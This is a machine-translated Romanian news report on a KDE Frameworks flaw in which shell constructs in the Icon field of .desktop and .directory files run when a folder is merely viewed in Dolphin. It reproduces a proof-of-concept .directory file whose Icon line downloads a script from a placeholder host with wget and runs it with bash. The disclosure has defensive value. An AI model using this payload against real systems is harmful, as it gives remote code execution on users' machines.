Vulnerabilitatea la executarea codului KDE la vizualizarea unei liste de fișiere
În KDE identificatvulnerabilitate, care permite unui atacator să execute comenzi arbitrare atunci când un utilizator vizualizează un director sau o arhivă care conține fișiere „.desktop” și „.directory” special concepute. Un atac necesită ca utilizatorul să vizualizeze pur și simplu o listă de fișiere în managerul de fișiere Dolphin, să descarce un fișier de desktop rău intenționat sau să trage o comandă rapidă pe desktop sau într-un document. Problema se manifestă în versiunea actuală a bibliotecilor Cadrele KDE 5.60.0 și versiuni mai vechi, până la KDE 4. Vulnerabilitatea este încă ramanenecorectat (CVE nu este atribuit).
Problema este cauzată de o implementare incorectă a clasei KDesktopFile, care, atunci când procesează variabila „Icoană”, fără o evadare adecvată, transmite valoarea funcției KConfigPrivate::expandString(), care realizează extinderea caracterelor speciale din shell, inclusiv procesarea șirurile „$(..)” ca comenzi de executat . Spre deosebire de cerințele specificației XDG, implementarea dezvăluire Construcțiile shell sunt produse fără a separa tipul de setări, de ex. nu numai la determinarea liniei de comandă a aplicației care urmează să fie lansată, ci și la specificarea pictogramelor afișate implicit.
De exemplu, să atace este suficient trimiteți utilizatorului o arhivă zip cu un director care conține un fișier „.directory” precum:
[Intrare pe desktop]
Tip=Director
Pictogramă[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)
Când încercați să vizualizați conținutul arhivei în managerul de fișiere Dolphin, scriptul https://example.com/FILENAME.sh va fi descărcat și executat.